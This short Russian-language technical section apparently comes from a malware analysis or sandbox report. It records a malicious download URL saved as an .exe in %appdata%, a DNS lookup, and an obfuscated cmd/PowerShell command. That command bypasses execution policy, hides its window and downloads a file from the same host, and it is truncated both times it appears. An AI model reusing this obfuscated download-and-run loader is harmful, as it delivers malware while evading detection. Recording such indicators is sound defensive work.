Техническая информация
- http://www.zonedopesa.top/read.php?f=1.gif как %appdata%.exe
- '<SYSTEM32>\cmd.exe' /c "POweRSHE^Ll.^EX^E -^ExeCU^t^IonPOlICy bYpa^sS -^Nop^RoFIL^E^ -w^IndOW^S^TYLe H^idd^en (N^EW^-o^bjE^CT SYS^T^e^m.^n^e^T.wEbc^L^i^enT^).^d^Ow^NL^OAd^F^Ile('http://www.zonedopesa...
- DNS ASK zo###opesa.top
- '<SYSTEM32>\cmd.exe' /c "POweRSHE^Ll.^EX^E -^ExeCU^t^IonPOlICy bYpa^sS -^Nop^RoFIL^E^ -w^IndOW^S^TYLe H^idd^en (N^EW^-o^bjE^CT SYS^T^e^m.^n^e^T.wEbc^L^i^enT^).^d^Ow^NL^OAd^F^Ile('http://www.zonedopesa...' (со скрытым окном)